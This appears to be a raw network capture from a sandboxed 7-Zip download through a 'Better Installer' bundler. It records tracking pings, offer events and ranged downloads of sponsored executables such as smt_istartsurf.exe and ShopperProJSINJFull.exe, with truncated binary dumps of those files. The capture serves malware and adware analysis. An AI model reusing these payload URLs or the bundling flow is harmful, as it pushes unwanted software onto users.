Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1154272012.1429690800.1429690800.1429690800.1; __utmb=1.3.10.1429690800; __utmc=1; __utmz=1.1429690800.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:21:15 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 22 Apr 2015 08:21:15 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d1371d8f3494f867a2b514a49c4e9&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=e26bca09d78a7097a393d38fe080cfe2&tokyo_csrf2_timestamp=1429690806&slot_number=1&index_in_screen=1&index_in_session=1&0.3763491045621731 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awde7zip53656/7zip/607d1371d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1154272012.1429690800.1429690800.1429690800.1; __utmb=1.2.10.1429690800; __utmc=1; __utmz=1.1429690800.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:21:16 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 22 Apr 2015 08:21:16 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /c/SetupComponents.exe HTTP/1.1

User-Agent: Microsoft Internet Explorer

Host: webprotectionfree.com

Cache-Control: no-cache


HTTP/1.1 403 Forbidden

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:23:14 GMT

Content-Type: text/html

Content-Length: 177

Connection: keep-alive
<html>..<head><title>403 Forbidden</title><
/head>..<body bgcolor="white">..<center><h1>403 F
orbidden</h1></center>..<hr><center>nginx/1.4.
6 (Ubuntu)</center>..</body>..</html>..HTTP/1.1 403 
Forbidden..Server: nginx/1.4.6 (Ubuntu)..Date: Wed, 22 Apr 2015 08:23:
14 GMT..Content-Type: text/html..Content-Length: 177..Connection: keep
-alive..<html>..<head><title>403 Forbidden</title
></head>..<body bgcolor="white">..<center><h1&
gt;403 Forbidden</h1></center>..<hr><center>ng
inx/1.4.6 (Ubuntu)</center>..</body>..</html>....

GET /home/smt_istartsurf.exe HTTP/1.1

Range: bytes=167832-335664

User-Agent: Better Installer(Mozilla)

Host: VVV.girlliuxiaowei.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 22 Apr 2015 08:20:11 GMT

Content-Type: application/octet-stream

Content-Length: 167833

Last-Modified: Tue, 21 Apr 2015 02:13:21 GMT

Connection: keep-alive

Expires: Sat, 25 Apr 2015 08:20:11 GMT

Cache-Control: max-age=259200

Content-Range: bytes 167832-335664/671328
...}..u..x&.........._.....].V.u...u..[&..........^........u......Y...
.#.....V.;.t.3.^]...U...}..u...&..........^.....]..E...t.j..p..0.u....
.....].j.h..H..9z...e..3..u........u...%.........l^...........]....t..
[email protected]...@u..}..G.=....v....}.....u.V.....Y.e..V.....V.....YY.f..
....N....t.....F.j._.-.E...u W..#..Y..u.....H..M.....N..............N.
.~..F....f...E...........E...y....u..{...Y...U...=..H..u..lx...u...v..
h......s..YY][email protected]
..u..6.<.@[email protected][email protected][email protected][email protected]....
u.j..S...Y.......u.j..B...Y.3....u........y.j...u..Y..TpG....I........
.H........y.j...u..Y.......y.j..~u..Yj..Us..Y;.t.P.ku..Y.R....E..t...M
...j.YQPVh..@..|....E.9u.u.P..t....u.....E......M.PQ.....YY..e..E..E..
}..u.P..t....t...E......E...w...............U.... .E.VWj.Y..vG..}....E
..E._.E.^[email protected]$.......t$.......
tN......u........$......$..........~.....3.........t..A...t2..t$.....t
......t....A..L$. ...A..L$. ...A..L$. ...A..L$. .......U..WV.u..M..}..
.....;.v.;.............r..=..I..t.WV......;.^_u...I........u..........
r)...$...B...........r.......$.$.B..$. .B...$...B..4.B.`.B...B.#......
F..G..F.....G..........r....$...B..I.#......F.....G..........r....$...
B..#.................r....$...B..I...B...B...B...B...B...B...B...B..D.
..D...D...D...D...D...D...D...D...D...D...D...D...D..............$...B
... .B.(.B.4.B.H.B..E.^_........E.^_........F..G..E.^_...I......F..G..
F..G..E.^_....t1..|9.......u$.........r......$...B......$.\.B..I..<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=971667-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 22 Apr 2015 08:23:56 GMT

Content-Type: application/octet-stream

Content-Length: 138809

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 971667-1110475/1110476
]7X..}.u...{.......)..E.x.E.|w..5.rg4.9M@.].EqZk...b...97....p...j....
...w"m.f.. g.G..C..x.q.2S.Q.. .t ...../..4mc.x.\"I.d..Q.{x............
...1..H..o..l.V..OU.......D..X.n....8.L.s..!.f..............9,d..1Y.j.
l..W.........ql.....5....9Jt.4......t...s...!.....B..UX1.R..W..Ot.....
. z.|...L'..8. .p.....d{..V..x.. ....8..P...v.........5KE3...u.'...Oc.
..&....6!...j`.b.....|_i<.Y.^...............QoM.9..y~...M"E..c...,.
......e.s.R.5qQ......O..Z...#........n.w.^...........5.!.....S.i..a..t
.;...ruQu.&r.....Bd%7...S..M..5.F#.........Y.T...M.....$.Ri.j..}_7..U.
E r..`.2././.?.r..jJ.\Wn....K..{..#.....p.....e.2l.K.).G^.l..[.....c..
...j..;...d..2~..y1;Y.........o\. .a........^.l..K. ....o.........2..z
.:...!Q.e...f.1.$2.......R9.....fo.G.fiN0A7............. ?^4.nr..A....
...#F:..ch..l..s<-Db@#.J.3.z..`kI..Z....n.).(R#vo.x.V..Z.q....i...t
O4.{.vFB...mU..6.?...a}yy7.zn......c...).A.[[email protected])..c.*O.....7.
.`...$.:q.V..l..0f.......r.1.d.e..G......4..A.e..x.. L.l..At..j.r.i...
W."gZMh..6E4~...h...."..5v.7!......:.Z.....pKf..h....nSA.5.d.{..pE.`'.
f.O.}.....r.F7$.P.01o....`.....8...Ix..|x.n.......#.~.... 7sf..#..7?.]
x.3..%.}...."..r.b..6...,.....LV%..r..[uwz.J.y:h...2..*.W.G...~.......
....v.j..:].QT,.....lS....vYF..R. ...A.J....X.j.R.......n..3......k...
...}..^...wup7 *....'..>2...Z.......P......L.09....[.c..~..)..$$".9
[email protected]#..a....*[email protected]
Q,W.....m%.9.7.=..Jr.eh.pjB.......8.......T...W.vD..&Y...F.t..L.^...P^
.&..j..KQ....vU.j.......{..!.pZu....!R..\u9..<O..A.%....2..71..<<< skipped >>>

GET /7790.ashx?e=eISsn0A7mAY luBT5UotGDUK7GK7BZ30FOuh80Io0Y54E7mrr1h80riKIFo3W8f23Wq7IsWCDz5m  Ygl8Eay0CN9h bV19VdXQO8eCkzNk9LWPkwGrB/imF904v4t2DTTuHrYVulo109x0h yMmOq3 e5cYLWVDvEq1XCmEIT/KGwMMc0gnpNgExseWQzn2gx4pqovyBvFpdD3k9Bz56StbFykGQeFJDeQKlJvveiYBN5p9ENNd42Jy LrysKIChDb8xDMtOox69ZimTX2csKzbMzc4pOx2GGp9MstS3cDTDTdslR3ozqAqUZoVYaYqMf1yxTT/30MA9uFDT8/vF0n/27iYAIjK5pdl3V4yoSZtC3ZUXmNv4hOEZ9fC9NN7s9C7tmmeIQ4UJj9eY3tRmk7I4yfJnN09rt2l8NGmYj2E1HYcjpoPKAXI5V7Gtdqpvy6uPeX Y MzVNympUSpDG1jkfk8RUtXBZN1YEp6CgBTkqHD55VI9tsBE3goakaNKHf2N3vo8q9B74JTBGQK5XqeKgixlj5JRy9SKUBStobWHq/Ys8JKTptjI6DAEWldLdCZvbg0Vxe jCJhwZ2krd1LISTKeN3CckdTtpt CJHBL2Jt9fHj8veJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5ZtT8IaYnlic= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:36 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Wed, 22 Apr 2015 08:21:36 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=250000-499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: aaf9uu-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:26 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: FGv2cduwUuNsXITAQcJKvMxQ2LB YllOz5755GGlfU7Lejj0Blp4gPEheilwbhx9uTldQHW GZ4=

x-amz-request-id: 7F9E74EA56356945

Last-Modified: Wed, 22 Apr 2015 05:19:43 GMT

ETag: "34d8da575da8decd14eff373fd1a7033"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 250000-499999/4738214
s...WK......`..QP.C.xG.[...0T....Q..-f{.. ...{.7.".Wu<...M}..j..G..
j.]M.cin.)(..L.........9`|..."tI........P..gg.>.[.e................
..W..b"[n]_..N............%.....3.......4..`....%..g.f.P^.g.M..l....lt
f..s.4.........&..1..;.....3 C..p.Q..1Ku..4.[........5.......7.-.d....
P$%.`.e..H2..^....vKa..'...q.bY.F...2...Y......W. ......0...>...a..
..e.....-....N...(.u..h.|.O...)!.....p...w5.L.k.....0.B...E.A?7!..d3..
J.D".....MRs..P..~.....1.[.......L...F.."...K,..Z....l..U2...S...u..0.
.../..w...WE.\.SL@....[......"....se. F....kK..q..O.("H.......:L...vU.
.1...g.AN.........M:l.X>../.2nF....Z.o.p....2gV...x9..%. [..x2....?
.G=.....Q....t.{.fU-..JL.....2.h...^..H}.....;r..a..2@,.LN.-'...m...^.
...3.......%.FlA..o....-.iRku>.......9Bi.E;s...D3.ktI..j..)..Gw1.g.
.QF.........[.y.oa..%..i]B..N:...;.5.L...V..no.B.f8.B..J!.....\;.@[.h.
|.1l.Y....^tT..74.([email protected].|.. ..i.6w...K}[email protected]!.uj&_..y[...g
.f....$..J.P.e..K9.0.>ja.o5."...-C7O.9.. ....{/..[.;<{..39......
)....g.jI....#...c.]2e\........=...._WsI.....g....V0.v...._'.r-.......
.e.fVoM........^...C.5g...].0...*e0....q.AW..n?.......ob.L....e....2mI
]....}k.....|8........*..#..h....s.=].2.9M8...HM..lt2c.j....q'..]...)D
..3.>4."V....=X.5$..*.m....J...D.OGD?...}.._.#)/y.; .N.\.f....s...3
...... %...&..............5._.-..#.k.0..^.5..$&.3`........6P.n.F.?W..~
...Y....^...E......2....f.>....jT.[=s...D......[.K.X.....oPH... $F4
...e..Q-.H..I....%...w5Z.....B.....#..y......g.....kr.g.`.e.e..u.....p
.X..3...{~A...k..l,j.}\t..\..c.N...H....o.. .._..8HZ...%..K..t....<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=1250000-1499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: aaf9uu-su78sj1t.netdna-ssl.com

Connection: Keep-Alive



..3.....X^f^........Y.F..WI./.*,.,.............>.#.9.bF.*0...fy.~..
x....|rS.,.n>nnd...G...t.u(.....2..m7.}..<#=..`H.~v5......N.....
...i...aM{..,...Do...E.d......$:............Z.,..qMM9..v...F.y...v.!..
.l..k.u....J]j.]M....kM..?K......o....tI...|.t....q q..m....m.z......o
.W..d7...c...0X..l....(....4...*#]..9Ts.Ee.6.....].}`)(%.....K.R...3x.
.Z!.,.J.|.....^hF..1a2gvYR/.q.f...r..~.:.B.=#Z5&riPA....Z.Z0.S/#......
.7...N.r..P..\..9.'iY......"..9..vXH........`...a.I..............."..j
..V....{ ......[...4.p.6.j.=.Y......l.... 14g.n..........c7.H...,....P
...<...[U^<...BX........s..BK.... .8..V......."'..WN.,r...*....0
.b.^......../h....P7.b....^s&z|/.Y...qX.Nn..>..H.a8..s.{...-l.|-.^.
X..;..j...)...i.4......l....Y.v.Y....../.rZ.4...C:..O.s.|..Ro.Y..N|.y 
.=.4iH....w......O7...EC7)......6.`^.........,7#yV.ce.....l.ii*w...:|.
'....9.X....0..@..|`..D....fx.!...6*...t.......... O.o..O.e....t.H&...
r....~......K.}....G6 %,..............8..6m...1.5..g...2.. ..-...,..Vn
...m1..6Zcu.......!^..zo.2F.......5...u..7....t]'..P......h..DV.Y6."].
....s..H...T.I#...(&.....mmN.'tII#of.U. .>4.......0.O...I.a(.S:A.. 
..vK.2G0......s.......w..|n...J........P.../.....q.......dI.(.Sy.....&
lt;2B.....\.v9gJ......#..J.H..#.=...,.(.X.-t3G......A.vs...H..G&RH.vm.
.a...G^..5..~.t.-.....%G.d....v..|-.a..61....7x3.No....&...D..o./..s..
..dONs.X.T}....2..$5r.. .}..w.K.y.j.w...#;M.Z....}..S.._....^...!I!XS.
.}6.......@#.H..P.:c. .j.T..Fh...I....."..|et._..lf.#bH..H,4.*[O9....'
.U.k.V.2.........E..8.Z..xs.....7..<.6.L.h.$.0T.......X??.....R<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=1500000-1749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: aaf9uu-su78sj1t.netdna-ssl.com

Connection: Keep-Alive



gD...D.=1~......w.&Y...ZkLm....d....!........Z(....3....tHkN...G/q....
(m....6.1Yu.^w%...C...=.Z.....E.~$..D.-].s..Jc..[*....c..o..N!..0W._N.
%.b}|U..}.e~.tE..{....M..>'..HS.......3.\....&n..B.u...............
..b..Q... %-..I-m.......].J(.{....8.XY...z....B.2...Tc.w(SE.....]...d.
K..C:..8...<.......B4.O{<)[email protected](.gil.5- !w....g.........i.`.
...c..1,uN.e`......P..'.......#G.K.x.kGo.XBgJDz...s..C....Y...7[z.....
S,.-8..8...k..Y.vM..bh..3...v.Y.<..&b[......Z...g.u6.....pM..0Zqr..
.....R.......d...gJ.p..."$..*Nt....g......0......W...h|.{k..d.t..fY...
7$>K..i.u...r}....wB].a.)&.@o<4].M.$4.bn<X=9..'.().........!.
8]...>...n.w......Z..e?.h#.5.....\wWu ;..1......A''...<OgB...*..
.O....K3.2....&A....K_.z'F.....p..)...|....n.....7....HV......~m..MW..
...j..=@boA/...?\.U..v..!....N.U#..7.Z#...;&.X......f~..M.n.t...J....:
 .L.r9.._.......%.k....;.U..v....J...4v............t.`Jh.8.^..^..#.@..
bP.0@........?.:...v....U7,~]%.b.a...`I...)5.......~.'........$.A...a.
.}....$.i.>...`.b..-....;S/"I.%-]..[.;l.j.?..-.twD4,>Y...<...
....z/....(....c......vG......Qf......R..Ub.c..)#t6.._OC.#&.2D.&..RK..
..aO..0......:...d\...../K..........(...B...{"...5....'a.....v..U...$.
Q..,n[.@..[....<.T.2..GT..M...O...*.........o................I.Sxh.
....d...4X...H^...o...5....F^..`.Y..l.Z..m .v..p...../....F-.ZTK.A..]a
....|.5.#m..!'..G..H...[}..%5..,w.......pq..F...%..|\....B`Y...q..hU..
.......T.}5E...o:.......b....:.0.....t...p4,..e..!.9.7.GC.oA...~Q(.8..
..jo!....I";q..6..x<.^...........sQ ...q..QK..P........Z.......<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=2000000-2249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: aaf9uu-su78sj1t.netdna-ssl.com

Connection: Keep-Alive

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=2250000-2499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: aaf9uu-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:27 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: FGv2cduwUuNsXITAQcJKvMxQ2LB YllOz5755GGlfU7Lejj0Blp4gPEheilwbhx9uTldQHW GZ4=

x-amz-request-id: 7F9E74EA56356945

Last-Modified: Wed, 22 Apr 2015 05:19:43 GMT

ETag: "34d8da575da8decd14eff373fd1a7033"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 2500000-2749999/4738214
.`..?.q...b............n..6.n.zx.o..>..oc......r.\...tY x#...W...y.
.f..7..].L..........0.........X.F.G..x...S...N.ur..2...W.....QXk\.....
...Zf.k!..J. ...e.B.-.s.....p.#)..t.R.mg.....-\k.et...~].#.b.1........
... K..8.p3C...)2........x.xC#n..n.......9B&....h.....'H.0>\..[..I.
*/......H[.gj...x...Hk...v.Q. %T.iW....Sd!.=.......c...-...Yh.~V.l..v.
...!.QTaiD;.j..x2.*.....9..g......9.8L.vu.:...\A9.....[.z..&....9....E
...a-N.......Aj...qQlv?..[...,..0........... ).....s.H....t<I..:.64
i.#Xfy.......nE..Z...S~..*pa..=......G5....,pF....$..I,cT...".[.c..0.-
tc(..$.f...b..._...>.5.k...c:-..<3......O.S.../...H.y).t..^...&.
.6.&.Oy...(m../.t.T.OE'n...-o'.e..B....R...z..w....7R"L.p.G,[email protected]..
`.>\ZN..:/w..$Se!...&....-.8.........m.._..S..%....B..lB....?..P.$.
...[.._(n..Dt=DS. ..!./;..uG....b..].B...y...L...Q..h1....5.K.G.z?.=..
9.4.U.mo...|.|..D.....W......d...\....'.p.u..a$.{6...i..."....,.SZ.7..
"L.t.lRi..`...........m..I..E......<-.Y...q.L.g.G4...."8.3..(..{...
".5..;.u\".....;9.Gx.....b..>.#C..V.R....BBb.R...)C......ym.Q......
.......#....q...0;.6a.....U..6...........t.......eA.8..h.....=..`...z.
bY......I.....w...=h.R.....B6.....MB.<.K.[..,.H...p).z....>.2;.Y
rT...C...Y.q0.Uz[.....3......O.....{...^..'e"_5..)d..8......A........W
$.....rn.bv..0.D.W..........g..D\........1..........h.j{_....O2..uT.. 
..".....%.]j%Z......rR......?.M........F..........V".'6E)zw....$f..L.W
|..?..........M....l...z..%K...\F.6.x.m..".%d..:.j.0...d].l....aj.VjL.
.U....w...|......../n... Z.$..3.?.Q...).5...x!@...%....N.......X.O<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=3000000-3249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: aaf9uu-su78sj1t.netdna-ssl.com

Connection: Keep-Alive

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=3250000-3499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: aaf9uu-su78sj1t.netdna-ssl.com

Connection: Keep-Alive



.f.aI.a....R.6)....yj.....C...p8*fC8....U.O.g.....)~....i8.i.,.f6"...]
.-$.(..ue9Iy.J-..y9.=d..O_...;...J.LX3...H7.Q...J...XW*./../?..`%...A.
..)..Zm.\.%...cV&.6|...,."...../6 .... _z..O.q..(..Q ...A.*.`-|.......
.R.tY..S..f.J.....h..*.;..B....Z..4...."MB...<.\X#..e..k.2.....#_..
)..f. .`..Z...5..M.u..2..{&{c...6......Jx.x...G...{jej.s.cSY....^..ar.
.......lc$.........*l. w...V.tJ.Z-v.T .j...k{..z.&k.....JDu.N..D.T.Rs8
..{....k?Z.-.....{.{P.. ....Q^..o..3..mS.r.7.;..e.|.5z. j...A.....\...
'~.....,.....p......I...........s......Gb?d1.(^[email protected].(.
..tp.[.Z..w....!.9...X.[.C.?...d.>..-.gu.E..p...D<.1.W.J....gb3Z
s...i.T/..m.......m.FC>j...R.........d.q.c.)__.2'.r.{m.}.....n.P.E.
..2.jy...._.)..F...U....M,.E.. ....#.#4...7.@[email protected]...
.wA.......!6(.T..k'..p..1.../\.^....e.).......z.$...j..\}..,.ni.<."
.....L..9.s\:..D...ST...&...:...g... .....k.j-C...'.d.T.......9q.UhS..
..`...cr.5..V....s...N?8T..M....?....z.a28......f9....T.S..."..|:...`.
R.......:.S...j..%............T.h..(.......o.\.c.a0...}......j.~..o...
...J<.C...........Sm....w).......3..a"....#....m...Xdpf]..m^.w.....
...\.....U..,...R...s ...vd&t<..B.....vD..4......9.n!z.._..5.l(...!
ah..q.N!u..]....5.T...k.....&.. .X8..0/....ix.e/......n.......vGN..8F.
.....^..j`rH...}U....;w&..h..]^... ....P[.. ..Ws.......<...^._.....
n..W..zj...\%.}.%.R..w....I..].m...S.mq...~....l.........2o..9.lHWHH..
:.x...........i`.m[v..HS....... t../6..Q#..1......~.z..g<..7.6.C...
b.v)..!.0.....~..;..g..........?~....; .....mV@..&.... 6..n.......<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=4000000-4249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: aaf9uu-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:27 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: FGv2cduwUuNsXITAQcJKvMxQ2LB YllOz5755GGlfU7Lejj0Blp4gPEheilwbhx9uTldQHW GZ4=

x-amz-request-id: 7F9E74EA56356945

Last-Modified: Wed, 22 Apr 2015 05:19:43 GMT

ETag: "34d8da575da8decd14eff373fd1a7033"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 4250000-4499999/4738214
...Y....-..fmD.**...'....b)....]}........4ZL..d.C\7B....P......fa...tG
cO(z4. .........z^....<$...m.0P.q..D..?.......=.....2..o....L.6.q[\
i5.......%.~Z.u...<aQ]...$......u`....~.3 .....<.S.o..W....dbT.=
...1..|..H.xq.kpix.]@..m0..L..,7c#[email protected],4
.h...q ..{........G.rnf......MB.....M.zX....../ ....L....&B'w.....R...
;......*.........~.kG.. ).=........sCw.ZK;..t...K.uK....:...z...b..u..
}...............J..2.l.........{F.....-...l...>...U.n......Q... .AD
[email protected]....%.*Z.]...9"......r.' .<..M.. .....At.IB.
.....mA..8|..L.h.'..6.r..x.......d."..*:....M......h...U..&^...Op.P..I
.;...?7h2..N.6.K.....KO_....E..Q...).......-.AP...X..ty1.0.(b......i..
.uRkH.....`J.A........)..$.E.^..T*.Z....}16..8.U..4.x;.:v*.I..ju*...i.
f b./.........0....`b.p...7p...u...sw .8.......cI.../......."k.B....{x
.`.{...J..~.d.D...^.,@..#f..]...*[...\.;6./.Wb=Et.8..#..a...... !....N
.F.S..z.8..D..:m.PQ....5?!../...^...C.......T`....hw {O....,......Ws..
.......Q....W....TL....n...3.D.%..q...{[email protected]
.8E.;.....^..iDb....~.!.N6!... ..f.u.\.........=c.2.ah:.<q..J....;.
..\[email protected]=.Q.L..M'....k......c...A'k..sz'.W$z...... ,g.G.>.\.._.4.
............-.P9v.{.{......Q1.D.F.S.Y9.2..9..9..b,........../.l.....S4
...;[email protected]..\=..2.z..zR..*q...a<..q*. sM...?DZ..."K..../.../.\.I....
q...!R..;e...9Q4*.w..,g.&..=a.2..G.S...JJJ....I.....)..G... .k...n...0
.>Yq....N8..OiC.T.....o..M.J...8.Z.V......52K.......I.LJ.....C....F
..)....h::`q.%...\....\.'d...jIAv...a....".@. eK.!...~.H.A'..n....<<< skipped >>>

GET /home/smt_istartsurf.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlliuxiaowei.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 22 Apr 2015 08:20:10 GMT

Content-Type: application/octet-stream

Content-Length: 671328

Last-Modified: Tue, 21 Apr 2015 02:13:21 GMT

Connection: keep-alive

Expires: Sat, 25 Apr 2015 08:20:10 GMT

Cache-Control: max-age=259200

Content-Range: bytes 0-671327/671328
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........*...D...D.
[email protected][email protected][email protected][email protected]...
[email protected]............
[email protected]............
@.......................................... ..............."..`.......
[email protected]................
...............text....P.......R.................. ..`.rdata...^...p..
.`...V..............@[email protected]...$O.......,[email protected].
....... ......................@[email protected]..................
@..B..................................................................
......................................................................
......................................................................
......................................................................
............................................U..j.h.NG.d.....P....T.H.3
.P.E.d......M..E....Q...e.P......M.......E.....j.j..M..K...j.j..M.Q.M.
.K....E......E..M.d......Y..]...U..Q.M..E.P.pn.....P.M..4.....].......
..........U..Q.M.j.j..E.P.M.Q.U.R.M..a.....]..............U..Q.M..M...
....E...]...........U..Q.M..M......P.E.P.M..d...P.M........]........U.
.....M..E..H.;M.r..M......;E.s..M.......U..B. E.;E.s..M..Q. U..U..M...
... E..E..E.;E.s..M..M.... U..E..H. M.;.w..M.......U..B. E. E..E..M..Q
..U. U..U..E..H.;M.s.j..U.R.M..?....E.;E.tS.M.Q.M.......E..E.P.M..<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=6f9bf9cef49cde4880978c5eccca4dc0&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=web2mob_messenger_for_android&tokyo_csrf2_key=267b5acad1022173fcd5460d52948e54&tokyo_csrf2_timestamp=1429691030&slot_number=2&index_in_screen=1&index_in_session=2&display_height=195&0.8972419453274972 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip53656/7zip/6f9bf9cef49cde4880978c5eccca4dc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.740709646.1429690889.1429690889.1429690889.1; __utmb=1.6.10.1429690889; __utmz=1.1429690889.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:24:30 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 22 Apr 2015 08:24:30 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /MFIwUDBOMEwwSjAJBgUrDgMCGgUABBSOJaE2H4hHYQzP74hlLuO41NG+EAQUHsWxLH2H2gJofCW8DAeEP7bP3vECEQDmFsbNcBDBl+cij2b1soa7 HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.comodoca.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:24:41 GMT

Server: Apache/2.2.22 (Debian)

Last-Modified: Tue, 21 Apr 2015 00:58:17 GMT

Expires: Sat, 25 Apr 2015 00:58:17 GMT

ETag: B89DF33A711656CA8676429871D0CA2F716FF2D1

Cache-Control: max-age=231815,public,no-transform,must-revalidate

X-OCSP-Reponder-ID: h6edcaocsp5

Content-Length: 472

Connection: close

Content-Type: application/ocsp-response
0..........0..... .....0......0...0.........,}...h|%....?......2015042
1005817Z0t0r0J0... .........%.6..Ga....e............,}...h|%....?.....
......p....".f........20150421005817Z....20150425005817Z0...*.H.......
.......#.Q........r!.y......~g......3...#..S.&.........p..Io.Z.5.. q.[
..$..1.J..[.......-(.W,...&....<m.1....#....qcj/.U.....z(3....~..8.
C............ Z.f........J.... ...c.^...A.. ....U.T.........T...P.(...
[email protected]...._)..2..1..{ ..A4@4..<....D....

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=416430-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache



.x..*L.Gc>.=t..j.B.....;;n.H .J....O....\..-..T......p...X......#..
<...f.>j.U.o..cV]..o...'...F*%..y..G.a....JM.9U......j...;0^....
.-Y.. ....H.s.$.J.......kE.J.=..oH..H.PS.....K...J...z=..KU.s.Y.._HZ*.
^.4.o..StA...A.V..5.~..?..{3K.............9.N7G^..Az>G-Vp.7z...._..
s.V.<.....(....".p.X....-..AS.%}[email protected]...]x...F.5...
#.g.W.7LJ....[....x. ....G...h...g....h...M.].1#./....... .Y|[email protected].
...P.y..T3G1.~ $.P......|..m<!.ca.f.UrsLkC_%~...r.p....;.D...L]....
